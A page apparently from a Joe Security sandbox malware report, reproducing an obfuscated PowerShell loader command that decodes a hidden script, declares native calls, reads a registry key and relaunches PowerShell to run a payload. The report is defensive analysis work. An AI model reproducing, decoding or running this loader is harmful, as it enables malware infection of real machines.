KvDPe7InDRe1CoDDe0InCRa4BoCNa9UnEAp8DaCSh0smCBI8LoCGaASyDKa7AvDNICDi'Br;Kn'$MaGSohLoeDigThifosPohSe7Br=MiSBomDiePIrSptCl
ePenGasWobPaaPtrSInUnsReOLd Mu'udETiICFaECo0DiFBeDUN'Fe;Ap’ $LeGKrhMieurgGoiMasTuhHe80p=KoSBemRaeMirfrtRheOhnClsMubLaaOmrF
invasReORo Vi'grFFraTr'Cu;MefDiuNonAacCltyoiYooNonTv ShfSnkGypto Ho{UnPPoaGurMoaHomHy Un(My'$RyUOppAfgGarfooTewEknAc,Va Fi'$ApDafe
LapSprMyeFesLosthiRioEknHjsUnpimeSerBuiStoWhdmaePrrbi)lm La Ma vi Re Kr;En'$InHUnoRoeGtrFieFrsKoONa uf=TeSSpmGoeAdrTktmieFrntosbeb
FeaRirVenansLa0Bi Un'Fe8Jv1SWEChEunDPo7DeCRe8WhCSm8CeCSy0UnDEx70OmCMe0SaCKaBSu8Sy5Ud9Vig8To8in5Pa8anDFIFReEGUEAf4lcDLa5knD
po5RaECo1prCVIAENCFi8CiCAr4ViCWoCDyCSeBVaFAr8st9VaFZo9UdFCaESc6FIDKIOcoDUn7KeDFI7CoChy0BrCUbBPaDBo1UnEve1DiCBIAAfCFI8SaC
Ma4vaChaCFaCSyBHe8EbBJUEAt2UoCPi0AeDNe1unELa4InDKa6MiDIs6FICAUOUdCPo8NoCTi7AICHI9UNCTeCUNCTrOFuDMy6In8liDDa8opCTe8Tr5SeD
ProEr8Bu5VrFDi2ArCLaDFuCBuOMeDPI7snCDe0Br8Ph8PaEReARrCSe7TaCflFSICRe0UNnCBI6UsDTy1Ma8Ho5GeDdrEFo8Bi5Pu8Te1AnFKoAGr8PeBFoE
wo2ReCSp9TiCBeAAICOp7ENCSe4PrCSvISKELi4deDLo6NeDSu60rCSvOEKCFo8faCDo7UnCOu90pDHeCCoEIIBMuCBa4DeCNe6CICToDCoCCe
0Di8Ne5Im8Ne8AdEOpP4LiCCaBLaClc1Ko8Ku5Br8kl1moFShATr8KuBTaEWa9unCSvADaCBe6ThCKo4CoDFr1SiCOICStCBeAJeCTaBAI8SyBwiFBueMaDSt
5PICIs9RtCHyCTuDWh1Sp8svDPa8Co1CiEBe2LiCReDDeCNeOMoCFe2TyCBICMeDPe6TrCRvVDPo9NrDSu8StCLiFKoEde8Ko8Ac9Ta4RuFIn8Ma8fiBRyEPr
0ToDSk4LiDmeOReCRe4PaCBa9AdDSk6Ka8ErDSp8Un1SeEPr3EyCcrAAvDFa7SpDUn6AeCCoEUNCKoBPrCReCReCOVBFoCBi2SuDTréPaDTe7C
oChuOLoDco6AaDVaONoCEn9BaDSu1MeCSt4PaDMo1ChCBr0OpDJo7KuDCo6Gn9Ma5No8NeCTr8De5AnDTe8Dy8StCFa8PrBSeESn2CaCViOEvD
Ve1KrFPo1InDPaCSuDHa5BiCSt0Su8AnDTa80m1SkETy3KnCCoADIDBo70OpDBa6PaCDaEbuCBiBTrCPeCInCOtBOpCVa2UdDEf6ReDCo7BaCte
0GaDS06KoDOmMOLeCRd9FoDDe1CoCSm4GaDDe1IrCOiONyDLi7EIDFabLi90v4CIBANCFI'Kr;Li&Bi(Ud $BeGPIhFeeFogReilnsRehMe7Cu) Ep No'$TuH
VaoBreSirDaeAmsSvOUn;Un’$IsHRuoFieFnrPrevisDi5Un Lv=St SISStmHaeBarSmtCheSinShsBubchaBorHenPlsSpOMu Se'Be8St1caEsu6BoCBeDViCudCPsC
Di9FaCMe9ENn8Us5Un9Pe8So08Li5Pe8Ual FOEUNEChDNd7OkCSv8SuCAmM8RyCFroUnDDi7SoCLa0PrCAtBTr8DoBSUESy20uCSn0CoDFI1NrEKe
8SpCBalPrDIn1MaCTeDSeCSuAScCSai1Me8GaDTh8Es1FrEEm3YoCBiADaDbo7RuDPy60sCBeEOpCSaBTrCEqCTjCBaBLnCHj2TrDDi6tuDPa7U
rCEgOHeDEp6HaDKu0BaCPe9PrDUn1DiCTa4SuDMy1ReCKeOMaDTe7GjDIr6Di9Co7BI8Fi9Bi8Di5ShFBiEspFKo1StDSICCoDLa5UpCTrOspFENEWeFUNn8b
gFSp8Pu8EN5joEDI5De8RuDSk8La1SoEin3BoCkIAToDCh7DyDDe6CeCOIEToCWiBPrCTjCYuCRuBStCFr2UnDKr6SrDNo7EnCHvOFeDJu6LeDDiOFoCBi9D
eDRe1StCIm4HaDBI1GuCch0VeDDy7ToDPréAr9Pr6 Ta8be9de8Su5Re8Pn1PaEMe3NaCApATeDCa70xDRe6GoCANEMiICMoBCaCNoCUfCSpBovC
An2spDNe6ByDCh7GICMe0SuDSy6FIDRe0OKwCno90vDDe1FoCRe4noDBri1AICUNOHIDRe7LoDor6Ru9Ek1 Un8TwCIn8ViCEy'Ri;Or&no(Li'$HeGSkhJoefi
gFriGussthMa7lo)Ve Ty $TyHReoDieCarlLieSisAt5Li;An’$LeHAsoCeeForDeeAfsSi1Ud Pe=Da UnSChmSeeRurFetFieNenBesVibKoaagrvinOvsExOLa Hj'U
nDFr7meCBe0SuDFi1SeDRe0FoDAn7TaCTrBls8br5Pe8Di1 AfERa6StCAfDDaCFoCTrCMa9UnCSp9FI8PoBBuEwaCLoCHuBtrDVe30uCGuAKvC
MeEGrCUdO0SI8FoDOm8Hj1SICTeBbyDII0TCKo9SaCAr9VisUn9Fo8Ad5EVE Tr5St8SiDunFToETvFfreHoDRICNaDRh6SeDno1AvCBIOUrCSp8in8TaBReF
Ne7FoDCr0DeCRoBTaDBe1BoCShCSqCOs8BeCSo0Po8RaBImMEOVCAfCFoBReDMa1gaCRy0OKoDCe7PeCMyAMeDSv5SpFRu6TaCNi0OdDAs7PIDRe
3prCAMCRaCTa6SyCAn0ByDDIi6Sj8noBReENeDUNCAa4UaCPiBHeCHa1DiCPa9CaCPa0GaFAn7SaCUd0PaCDe3HaFSt8Ex8EIDBIENoBShCnuOl
tDBy2C08Ac8SVEHOACYCfr7feCstFTeCENOSwCGe6ViDBu1Di8Ti5ThFTe6HeDDICIvDPIBAcDKs1CrCSuOEcCQu8Fo8gnBLaFCh7PrDGa0BoCNoBNeDKb1P
rCDoCLaCpr8QuCbr0Je8NaBFoEWoCInCFaBReDhalemCMo0PaDMe7TuCShAKrDLa5OmFAIBSpCNe0ChDBe7BeDRe3MeCFiCIrCBr6CoCCo0ThD
Un6Re8SkBUNEnuDOMCC04AICNaBOmMCRe1WiCid9LoCMo0BoFSy7NoCCa0unCSt3Av8SiDde8EdDUtEKaBEsCKa0UnDav2Hu8Su8udEBoAJuCBuU
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7VaCUIFOvCPeOENCUNGBKID I r1AIBRa5SMokEDaCGyCSsaB [ abDBd1HjFKubSUnDHo1SkDKa7Au8FoCVe8SpYUasirdin8PiDKo8Lo1UnkorEpeDMo7HaCKr8AIC 1 a
8NoCPo0IrDes7LaCDrO0RaCDeBSk8AtBShESc2ArCOp0BrDam1AbEKb8MaCFoOHeDLe1saCplDPICPrABaCKa1Ho8BuDAf8Dy1CaEKa3SpCSnAekDel7SuDDi
6AnCTeESaCBuBUNCErCSaCTrBEuCPa2InDPIGEnDOk7ToCSu0ObDRa6alDAfOPrCVedltDSn1ByCKo4cIDAb1PeCApOHeDMa7UrDdi6Af9SpORa8TeCFi8Ug
Cse8InBMeEAbCMoCHNBUNDRe3UnCSvATeCReEMeCBIORe8BoDHe8Fa1StCtrBbeDDo0BeCUn9KiICMi9Fa8De9In8Sn5BeESt5SEa80vDHa8Briu
dFSpOHeDGa5GuCls2LeDSi7DjCPoAsiDHe20sCRiBUN8SaCEI8ouCRe8ANCSp8TrCDo8Ka9Hj8Jo5In8Pr1 TyESm1MiCop0ViDAs5afDGr7ExCPIOAUDAC6P
hDPréCoCfoCKICTUAUNCSnBcoDTh6ToDBe5UnCUNOPuDBr7CICUNCFuCDeAArCMa1SeCTi0VaDTi7Fr8spCFr8MeCpe'Af;EI&Ag(Ov' $BeGLahOpeChgHui
SksPrhFo7El)Se Eu'$UnHNaoEmeNurLyePasla1Bu;Pa}DefTouRenDacAmtMaiKaoBanJe SkGDiDHaTNe aa{KaPslaJurGtaFamHa Co(Ej[SaPOpaBa
rSiaBemCae ThtSteoprHy(BrPUnoAnsFyiSetafiMeokinOr KI=Sk ReOPh,Fi FaMimaRenMidCaaCatFooKrrdkyHa Mi=Sp Su'$PeTBerZauEmeUd)Mu]Oo Sq[Be
TPlybapUdeAg[Ko]Me]Av ti'$SkNTroBenFodSmeVecSuoHarAmoPruRusFriBeyHj,fu[EwPflamarUnaTomFaeSptimeamrAu(SkPChoTosphiUjtPriRaoDinCa Si=Tr
Ga1Bs)La]Ta Dd[DrTExyGipFeeEm]Me Na'$ReCunoNoelbliniKooComFoyNoaAulgrguniDoaSk Ma=Hy Is[PrVBloCrigldNo]Bu)Au;Ma’$AnHMioSeecarP
reKasKo2ex Im=Va JgSNomNoeTorDatboeAnnUnsUnbakalyrTunfrsKiOaf Lo'Ne8ku1MeEFoDchCac4diDSaCBeCNoBBICBaOPrDZa6Fo8Br5Se9Bo8F
a8Un5LdFPrESIEFa4AnDmi5SHeDWe5WaEHo1PrCReAOpCYa8HeCln4ReCBoCPeCEmMBFrFSt8An9CoFUN9SpFSIESt6neDOI0AUDfI7InDOa7JeC
SkOFaCUnBCoDTo1GrEsp1SnCLaATiCSo8DaCNa4EmCUnCStCcyBCy8RaBStEFI1ReCSe0PhCRa3PiCSyCStCKoBVaCSa0AuEJe1AIDEmMCThCSn
BVaCJu4BeCEx8ReCSoCPICCi6éBoEVa4HaDFe6KoDFa6UnCitOKeCTi8HaCWi7GrCUd9GrDDoCMo8VaDCa8rgDToEHaBLaCSu0DeDSt2Ln8ne8P
hECrAPeCja7PhCsvFChCSt0ChCBa6AuDMa1He8Sh5UdFLo6SoDSaCtyDLa6PhDSy1TrCKoOHaCSp8Gu8InBSeFPe7CrCKkODICEm3siCSo9ReC
Eg0DeCSabmaDBI1VaCCaCBuCObAKrCUnBBr8CiBLtEDr4FiDIc6TsDIn6RuCCa0SkCSy8UrCGe7WoCWe9BrDCeCStEBIBAMCCo4BoCUd8WiCSk
0Ch8UdDTi8Hy10sEUN3FICFIALyDBe7KrDsk6baCOvECaCPrBOvCUdCANCReBUNCSr2SubDBa6CaDCo7Z0oCBr0GaDDe6yoDRe0BaCUI9YaDFi1D
eCBe4ReDAr1AICAn00rDUv7UnDsI6KI9HUDMe8FuCCy8KaCBr8na9Pr8Hv5FaFBeESaFar6EyDGICFrDHaéLaDmu1ReCfeOruCUd8Ko8FaBKaFme7UnCUNOA
fCANn3GICK09KoCMa0GoCRa6CuDSI1InCSuCHyCUnAcoCFjBEs8BrBPoEKoOvaCFI8MiCOpCSkDGr1Me8SoBMIETh4AIDTo6CaDcoémaCwaOhyC
po8phCos7ChCFe9GrDCaClnEAt7foDPa0PrCNoCSkCKa9ArCTj1 TyCSu0DiDCr7DiESh4UpCBe6UnCTe6StCSy0adDHa6SkDSu6NoFBe8po9InFBe9SnFBaF
EI7ReDbr0LeCMiBPi8UdCDo8ReBNoEUmM1StCApOpeCAM3AMCMyCpaCTyBAnCLa0FoEII1DeDStCOpCSIBNeCWa4StCKo8VoCsnCbuCUNBOKEEN
8FuCOrAOrCLi1nuDSrODICBi9PaCOp0Su8CoDDa8Ta1ReEKu3MyCheASmDTr7MuDAr6SaCSpEPICErBStCdaCStCSkBMaClm2ArDAd6SeDSp7M
aCKrOUnDFy6EcDGo0PoCSu9EIDEN1GICSn4TuDAb1DICMi0foDOv7MeDIs6Ma9MeCBu8PraIn8Uo5St8Ly1KaCDe3WaCMu4CeCDr9BaDso6UnC
Se0qu8DeCOt8EmBKeEAt1HoCFaOHeCKa3krCBuCBaCSeBHoCAu0DoFVriMoDOvCLoDDi5OvCMe0Pr8SeDKa8Pr1OdEBI2SoCatDBrCCulInCTi
2foCDeCUNDUNBUbCLYDMi9Di5Sm8Pe9St8Gr5Su8En1DaEE02FiCBrDVaCga0miCCh2BrCAdCkeDMe6OuCPhDCo9Wi4Ud8Fo9In8Un5SANFSpESKFTy6InDfa
CFrDTr6AsDGa1PeCIn0AbCTe8Te8IsBAMEFe8PuDOu0JaCOp9BeDBi1vaCPrCNeCAs6NoCYe4puDGe6PoDdk1ErEmalNeCOvOBuCDe9hjCKoOE
nCHj2GaCJe4LuDBr1crCAf0AsFSv8Sa8InCMg'Tr;An&Vi(vu'$paGEghsoe TugAdiTrsNohPr7Ad)sm Hu $BoHCooBoePrrCaeSvsSy2La;Pr' $AtHDroLaeAlrUneKa
sSp3Re Ru=Ps LnSKomSaeTirMytHjeKonEasFobOxaRirBInTasTa0Gu Pe'Ti8Ar1 CoEStDBeCst4ReDgeCLaCOsBExCUnORkDMo6De8DyBGiEDo1SeCan
0DiCUn3TrCurCAuCOvVBSyCGn0SiEdaéDaCMiAMoCUnBUNDQu6UNnDBe11sDBr7GaDTuOnoCha6HvDBr1ReCTaABoDAx7St8GhDRi8Me1MaEWa3S
uCSyASaDTy7KoDMu6BoCSkESyCFoBScCFaClcCPaBToCin2CaDCh6KIDAn7MaCFo0VaDClekoDMuOUdCel9AIDUn1ReCAd4BaDLui1GuCBrOFrD
Mi7KoDUn6Re9To30p8hvISt8Fo5DmFKIESaFBr6FoDUnCHyDCy6RaDpe1HoCro0SpCPr8St8DrBBoFGa7haCToOMuCMi3MoCbrdCaCSo0SeCWe
6GrDAn1MoCWiCShCEnATICEsBOo08EIBTIERIBErCPr4BeCAs9ANCDi9IMaCBIiCLoCFoBStClc2UnEDe6SyCOVAANCStBSpDkI3DrCStORICTeBPaDIs1ReCDe
CScCsaAKvCSpBIIDHe6GyFps8pl9AdFCa9geFAcFEg6SvVDLe1HeCLo4VaCUnBYaCLe1FrCCy4MeDSe7InCPI1Ba8Di90f8Pe5Sc8EI1 PhEKaBAvCLIABuCef
BOfCSo1udCGIOFrCta6BeCSpABeDLi7alCSpASuDStOHoDFa6BICCo9TiDSuCPo8JaCKo8AaBTaFCr6SmCDo0DrDLi1GrEgrCBICSp8PiDBe5VeCMi9SuCMe
0elCGr8beCStONoCOxBSgDKv1CaCSe4VrDco1JiCLeCdrCSwASuUCSeBFeEMo3RuCCo9InCLu4SoCKr2KaDTi6Sh8StDCh8Sa1NoESk3BuCChAaeDHe7IvDSk
6FaCSaEReCRoBruCLoCnoCCuBKrCSp2PaDCo6SoDSa7ldCre0EjDka6AxDUn0SeCSu9CaDBe1JoCNa4HeDRu1NoCge0SpDIn7TeDno6Bo9Sp2Lo8ThCVr'In
;Fr&No(CI'$MiGorhtweStgTeiBysFahta7Ph)Ha Be $coHNoolseRerGreDusPa3Se;Uf $AfHHuoSceUnrSaeResMo4Su Ma=Re PhSSpmBaeFarTrtaeeScninsinb
laaThrAnnResUnOEv An'As8Tr1MaEYnDOpCGo4HeDUdCSpCGaBraCMa0HaDBy6En8VaBPoEBo1miCMa0SkCLa3PhCKuCDrCVeBKoCPuOStEOm
8MbCFo0SaDHo1CoCMeDKoCAdAUNCSw1Fo8EfDGr8St1 KIEUd2MuCHaDDeCpoONiCFo2AfCStCViDGr6TeCSmDEr9Br7Co8AI9R08ch5De8di1A
dEUN2SoCUrDEUCPo0BICpi2CiCLNCTiDre6BrCAmDNe9Mi6Be8Bi9Es8KI5IN8An1DoEBe6MiCINAShCPa0MeCBroBeCSiCBaCSmAAfCmj8KoDPrCSICTa4V
iCUd9BrCCe2weCPaCGrCBr4Dr8Sk9Tr8Un5Ch8re1PrECuBGAdCHeABeCSmBMiCde1GrCSt0ZoCNe6PuCBnASkDFe7GrCHyATvDFoOInDNo6anC
Cy9EjDRIiCFI8ToCTo8RIBAMFMe6FoCGa0VoDTa1DyEPoCanCCo8BeDBr5LyCBo9SvCPu0SyCTa8MiCCa0KoCStBKIDGr1LuCAs4ReDNo1CiCNs
CLaCStAOrCunBEgEGi3ReCFi9TrCBe4unCFr2MaDOb6Ex8CiDSc8Ha1NoEUN3enCBrASIDMr7kIDUr6BaCHaEMaCBiBLaCTaCMiCKoBDoCHa2PrDSI6KrDLe
7GtCCo0ApDSy6FoDKVORYCBi9DIDFr1RaCTu4PuDFr1TaCFoOApDSu7GoDWe6PraIn2Mo8BuClr'Sn;Ma&Se(Fy' $OuGdrhOpeStgVeielsTuhNo7De)Hy P
h*$EfHPeoDieOvrbueHysSh4Gr;Ej’ $JuHAnoBaeGrrkoeGasTa5Ca Ba=Lu UISfrmBreHorAftTieWrnLisPIbBuaMerShnTrsKvOKo li'OvDPe7InCrg0OuDDi1AID
TrOApDRe7AnCAfBIn8SI5St8Vi1 PrEExDskCHa4OpDHiCLyCStBNeCSa0SaDSt6Rg8DoBDiEF06ViDMo7DyCBo0PhChj4YaDTa1ubCSkOKnFUd1BeDhjCDuD
Li5StCSj0Ov8LeDDe8KrCHa'Rg;st&An (Ko $StGafhBoeOpgOpiFosBrhKa7Re)Sp ol $OpHWaoPeeZarMueFisPr5Co Se Kn Fa;Le}Fo’ $faURenLocFrobruObpA
iIHaeEn Aa=Ko FrSMomobeAbrDitBreManMasDebfoaAbrinnFesKhOKe Ve'ReCGsEEMCteOMuDun7YoCArBUnCPa0TeCGo9ar9Ar6radAf7di'De;Gr'$
PrHUnoYoeEfrAdeKosPI6Sy Gr=Du MaSpimgeeBirSptUneFrnPosFobSoaDirDynAfsJuOgr Tv'Au8Na1EtFBr2LaCFIOkoDTr7DuCCa0UnDSk7CaCPl4brDFi1Br8B
a5eu9Ut8Dr8GusfiFMaEdaFFi6ToDBeCVeDWo6ChDme1VoCUNOShCAi8SIBUnBAnFMb7InDDvODACTIBENDPu1LnCMeCGaCdi8VoCKo0Ek8saBStEinCauCG
eBGaDNo1ImCPh0BoDBa7PtCOsAChDSp5SkFMa6BrCTiOSkDFI7FiDFIBWiCUdCTrCSp6DeCRe0TaDKe6Ma8s BEXECa8PrCSw4TeDFo7IdDFe6
PaCLeDSoCVi4DiCRi9FaFGe8Sq9TuFHo9MaFGoEsa2FuCAIOLeDSj1InEHo1CoCSk0BoCPa9UnCAf0FuCpa2SpCCy4AfDup1BeCOVOFjEgu3TrCOIAUNDNo7
acEKi3JoDWaONaCDaBBaCSe6PrDSa1BeCfrCHiCudATrCSoBMyFPe50vCMeAUpCGaCVeCopBPaDLu1UsCde0OFIDhu7Sv8VeDBe8UnDBuUCUg3Gu
CAfEHyDPi5Ur8Ne5Is8Mb1FoFAkOStCkuBWoCAa6 TrCBaAUrDDrOMoDFs5MeCJu9GiCUn0Di8Of5Gt8Sk1BiEPr2DdCUdDHYCKoOUnCEuU2EXCAeCSeDBI6Ch
CTiDQu9Dr1Ab8TeCPr8Cr9Go8As5PI80OVDDIEPe2SpEIn1ScFEN1Wo8Va5KaETr5Ca80mDGiFstEinEJaCUnCScBDiDUr1syFAn5WoDSt1KoDbo7ReFPr8Ln
8C09eq8Pr5ImFPrEHyFACOEXEReCAMCsiBCoDFr1Ps9Be6Pi9Ti7VaFMi8Pa8OvIPo8Mu5BIFPeELsFDeOMoEapCHvCAmMBBIDOp1Ek9de6Ge9Un7TeFTi8Op
8Ex9In8Hv5HaFSnEGaFHj0exEFiCcoCSyBSWDFI1Vi9St6StaSt7RiFNr8Tm8BiICLo8Sk5Un8BaDLaF TrEReEdoCStCBiBMaDTr1AcFSi5BoDDe1NiDCo7BI
FSa8Hy8SpCSe8ArCBI8EACHI'Tr;Fe&In(na’$InGArhCaeungiriElsUnhSh7Ju)Om Di'$AmHeeoFoePrrAdeRusVi6Po;Fi'$ReDOkmEdnEniMonSkgMasFopPrrCyo
LajEgeBukBetTrebarCo In=Ch FofPrkBapha Sc'$ReGGehIneNaglliPesNehPr5Un Re’$HuGObhBieStgKviNosFohPs6Re;La’ $EkHreoFoeTirBoeGasPu7Sv R
e=Ch KrSTemPrelkrUntVoeGenPesDibToaUtrSanHjsApOFo Or'Ri8mi1GgFHd6PrDSa0MeCSyEPaCseEInCde0CiDRh7KrCCoALIDGe3FiCfrOShDEn7H
yDTo1DrDIn7BeCCeEReCKaEReCSo0SkDti1AfDABTa90v6Le8Ud5EIFi8Sp8kasDy8Yo1JoFSp2FoCSy0HoDIn7UICMa0BoDSi7reCSe4DaDTe1FI8TiBV
aEIfCCrCKaBTrDPo3opCUVAHeCLaESeCSq0Un8TrDUnFUNEOrEReCBaCPaBvaDRe1beFNo5KoDPo1RuDEI7ViFBu8Fa9PsFEt9TeFToFcoFSpC
Ko0OvDSc7BrCOuABa8Ura0Om8Se5Un9An6Re9FalltILtCMe8Se9SI8FI5Me9dPe5SkDUNDFe9VabPa9Kb5KI9Bo5Ha9Fo5Pu8SvIBj8St5Un9Ci5PuDLaDQuU9
Co1P0o9Ud5Va8TuCTi'Ch;an&de(Fa' $UnGCohAnelLagOpiThsObhUn7Sn)Al Di'$GaHFroEneHorVgeTasSt7Si;Ha' $TiHOvoLaePurPaeGasKo8Ti In=Ha
DrSKumNeeHerHytSheDenHesHobEkaArrPenRisDi0Co Af'Pe8St1UnEPa6CrCstABeDIn7seDPa7CICWhAKeCTy7NiCSe7KvCMeAExDth7BaCDu0UnC
Se0Sp8An5Ga9Pr8Ud80Om5Su8galQuFFo2leCSe0TeDGa7BoCRa0BeDWa7SpCSk4lgDUn1Ca8RiBafEKrCUtCJuBSuDTi3PrCRUAAsCTrEEUCSk
0Un8DeDMoFSoEKUEEsCOmMCCaBSuDDo1CoFBi5UbDFI1MoDUn7InFIn8He9HaFFo9DeFmaFChFErCProSaDPo7AICFrAWa8Bi9Ta8Ch5Ap9SISK
bDKiDPh9Te4Fe9No5re9Bn5Lg9SI50WIAN5SkIGY5ESBAMIVa8Su5Au9BuUSetDLoDProPabOrdAf5Fi9Ru5Ca9Ca5Uu8Si9Sp8At5Ha9UNn5KaDBaDTu9op1D
e8tiCFI'Re;Ko&Sh(li'$NaGAnhPeePrgCoiHusSphUn7Sa)Ro Hi'$TeHstoSpeHirLaeBesSa8po;Un’$PrCRuaSyrNotLawVorThiStgCahArtUniGenFlgBe=Pa(Sm
GUnelntCo-OplKltpeeTemWaPUnrSoolnpDoeAgrSotKayBa Ma-SePbeaSptRehOx Bi'GoHPrKNeCPIUBi:Fo\LyPBasUdelnuRadSaaFemhobGauOnlLo
aTpcParStualmSk\CykVeoRenFesXmtSqiAntSeuSttTaiUtoLunLseJelFe'Ge)Di.WaBTijHgfHesFo;Ly  $InHFloHoeMerSkeAasAn9BI Op=Pa HoSJvmBreNerSk
tNoeJanKrsPabHeaTrrronYosUnOAf St'Ha8Fo1PaECuDSwCMeAFiCHe0AcDCe7ReCSe0MiDSt6Rg8Wa5Af9IMu80Ob8Pi5NoFVaEInFIn6UnDseCTuDSp6Da
DWe1ChCNuOMiCGu8Ku8DeBNeEUNBAICPIADeCSmBExDCh3PeCEv0SeDKa7crDHi1ToFTe8Sk9RAFAN9PhFFrESa3DrDAn7CeCimAHaCAn8MaEN
07unCFo4UnDsk6BaCFe0Re9Ti3FI9Fj1KaFAn6BuDSy1EnDDo7FrCLaCPoCBIBSKkCPr2Re8EnDsy8Ln1AdEPIBEVCLa4kjDSI7TaDPal1OtDFi2PsDLa7NyCV
eCSaCMu2SkCBeDBuDji1 SKCEfCviCJaBSpCPr20p8TaCBe'Bu;ha&He(Mi'$esGAnhNoeBIgChiShsLohFo7Sh)Ja St $WiHMeolLaeBarBleHasCo9dv; Ty
*$FrCGoagerSotFowDerLaiHagmihbetkoiPenSsgAn0Bn Ba=Ca ChSSamLoeAcrNatdueApnpasSabGaaGorBonSvsPr0Ya Bi'PoFCeEEIFag6EKDDICR
aDCo6TeDAI1OvCviOMeCRe8Sk8UdBAIFEI7FoDBIOCoCAaBANDTr1PrCTrCFoCHe8TiCHuOor8UnBHrEstCKeCCyBTeDBo1VrCInOmeDPu7AiCItAPrDTU5R
uFBe6FuCDe0FIDAN70uDSI3LeCMaCPiCDi6DICSo0UnDBo6Ve8syBBrEMe8EpCZ04StDSe7SaDSI6PeCEIDDeCEI4HeCMe9KoFPr8Op9unFWo9GIFBIENU6F
0CPaASpDma5ToDRuCSt8FIDAu8Pa1GaEOuDcuCEKACaCBuOIvDLi7KrCEIOGeDAb6EVa8Is9Fa8Pa5Ko9To5Pa80I9Hy8Sm5Se8Ta5Fu8Be 1 DrFFu6MdDOVOk
ICUNEDICUnEArCLIiOPIDTe7trCGIASIDBa3AgCStOpuDAr7SeDCe1baDPy7prCKIEfeCJUEEICRA0TaDBa1GiDUd6A9dr6Pe8Fe9Ja8af5Ga9Kabas9ImOP
09ANCPa8MaCOr'in;Tr&An(Ud $GaGWhhFleFlgReiOpsSchSa70v)sp En’$PrCPraBerRetSuwLerSmiUngPrhHatUniDinljgStOOv;pr' $NeNMaoSonOscStoStnCr
dGoiEnmEnebInSytGo2De=Ub" $LiHUloTreDirSaeFosUn.WecFioLauAnnOutMa-pi3Sm5Re9Ur; Sk’ $paCBeaTorFotExwSirYaiSngmihGatKoiBankngTr1Em Ba=B
u UnSMomSgeSurRetRueFanCasTwbAmaFrrGanSusBi0St arAuFKoELoFev6AsDHyCNoDNagUdDNi1BaCStOWiCMu8Ve8CIBmuFPy7UnDBuOHyCemBStDP
e1GrCopCpaCCa8CaCScORe8LsBHUESaCWoCPIBDiDHa1CoCpa0HiDMy7NoCSpApaDUt5CaFBo6DICAn0OMaDDe7SeDFi3UnCreCHuCBi6sqCPI0
MoDhi6Ou8BuBSaESe8ThCPr4ViDKu7SnDCy6BeCNoDLaCCh4MiCFe9NiFPa8An9TaFPo9KaFReEF06SeCWhADoDOu5NoDHoCPe8ReDTr8Sp1Dr
EvaDNeCbyAFoCCa0spDAs7GiCSp0UnDTo6Sk8fj9Sa8In5Ge9Sa6Fe9Ur0Th9ThCDk8cu9Co8Ba50v8Su1LoEDe6ruCOrApiDkl7 CoDDe7SuCbuACiCHy7af
CHi7GaCLUAEKDTu7UnCPi0PrCEkOPa8Pi9Un8La5st8ud1SKEANBChCENASKkCDoBTmCVaéViCTeAJuCFaBVaCSt1KaCunCKiCaf8MoCMa0SeCM
eBPIDSh1Et9be7In8RoCHa'Vo;Mo&Br(Tr' $FIGRehReeAigFeiTesgahPh7Wh)Fo Sh*$TeCcoalnrRetUdwForEfistgYahlbtspiUdnFagSo1St;Ed" $FrCPraNorSm
tPewStrKliBdgKohCotEniPonFigAn2ba St=do stSPrmUneimrRetAdeCInStsKobBuadirDinHosDi0Tr to'Su8Br1 AnCRoEfiCNo9VuCSa4MiDZo7StCFI2UKCWeF
PrCSkAStDSI7WiCUn1BoCMi0Br8Bn5He9Sk8Vi8Ka5BaFInEBIFAj6INDDoCudDCi6AnDSI1InCSt0InCSy8Le8AyBTiFce7AsDNo0DeCImBAIDNo1NiCBIiC
SICTi8VoCSe0Fu8ReBGaEnoCDeCOmMBChDMe1TeCMa0BaDus7KeCPeAWaDFe5clFFo6BuCLa0ReDDe7NoDJe3StCHyCAICSt6SkCDi0BeDMe6bl

Copyright Joe Security LLC 2022 Page 20 of 26



8ANBkoEEt8AfCAc4TiDBa7DrDSt6AhCSkDGICLi4NoCFu9AsFSp8uj9ReFDi9RoFSUEBa2ApCKoOunDGr1HIEFi1GrCGu0diCPe9KoCJa0DeCFr2ReCUn4ph
Dmu1DaCEpOMIiEDe3ubCJoAReDbl7vaEma3SkDBa0 ToCPsBSkCTy6reDPo1GhCDeCMaCTeASkCTiBUdFFo5UnCWeAEUCHoCLaCTrBANDEr1AICM
a0ThDCh7Hi8coDfo8un1GeFTr6KeDAdOPaCPeESkCBoEhaCEkOnoDRe7AeCPeAMoDGuU3UnCTe0DiDim7RaDCalHeDud7PeCTiEINCCoESICMo0
NoDSh1JoDBu6009VieHa8Cr9Ro8An5Tu8UvDINEKo2VUuEAr1iouFLe1De8Co5PIESy5Se8CabDtaF DyEFdERvCBaCPhBBgDTo1PuFKa5UnDIla1UIDJo7ToFSu8
An8SvOUnFSpEMeEDeCRaCAfBKoDAp1AfFVe5beDUn1UnDAI7DsFSc8Du8CoCLo8Ca5Kv8SnDFrFCUEEIFQu3HeCPaAPrCRoCTrCIn1HaFTa8Ma
8BiCIt8GUCOVBAbCMu'He;Re&St(Gr' $SpGSihBeePrgSpiFasTehJu7Ga)Gr Un'$ChCtralerHotRewUnrTeibigUnhEstSkiNonStgGa2gu;Ma’ $BiCPiaUnrUntOuw
AdrUniUngEIhTitDiiStnMogDa3FI Br=Li TiSCemSaeAsrBotmaeRenDesgebkyaMorFInStsHj0Sy Mo'Gr8Wi1saCReEfiCTy9TuCTi4TiDpe7riCDmM2TeCOpFMaCF
rAKrDSe7GrCKr1CiCInOLe8BaBTaEMiCcoCKrBKeDFa3DiCBrAkaCTrEBrCFuOHj8DiDAp8Go1LoEje6ReCOmMAVeDKn7FoDBo7ReCGbAONCDe7SICOp7HaCR
aAFeDQu7PsCMe0GrCmy0Sk8Si9Ko8Et1MaEac1NoCPI8BICBrBTbCGaCFoCVrBCoCUN2BIDPs6HeDBr5ZoDAc7WhCChACoCSpFLsCGhOBjCUSE
CoDLa1stCma0inDSp7GlI8SaCMa'Di;Ph&Bi(Al'$DeGAmMhGreGigSkiAmsFohSa7Me)Mo To $FaCShaMarSvtFIiwDirKliBrgMahcitnaiTrnFogSu3Ta#Ga;"";;Fun
ction Cartwrighting9 { param([String]$Regionsplanlovs); For($Klistringer=2; $Klistringer -It $Regionsplanlovs.Length-1; $Klistringer+=(2+1)){ $Smertensbarns
= $Smertensbarns + $Regionsplanlovs.Substring($Klistringer, 1); } $Smertensbarns;}$talose0 = Cartwrighting9 'CelFoEReXPr ";$talose1= Cartwrightingd $
Vildmnd;if([IntPtr]::size -eq 8){.$env:windinS*64\W*Power*\v1.0\*Il.exe $talosel ;}else{.$talose0 $taloset;}

Imagebase: 0x7ff7287a0000
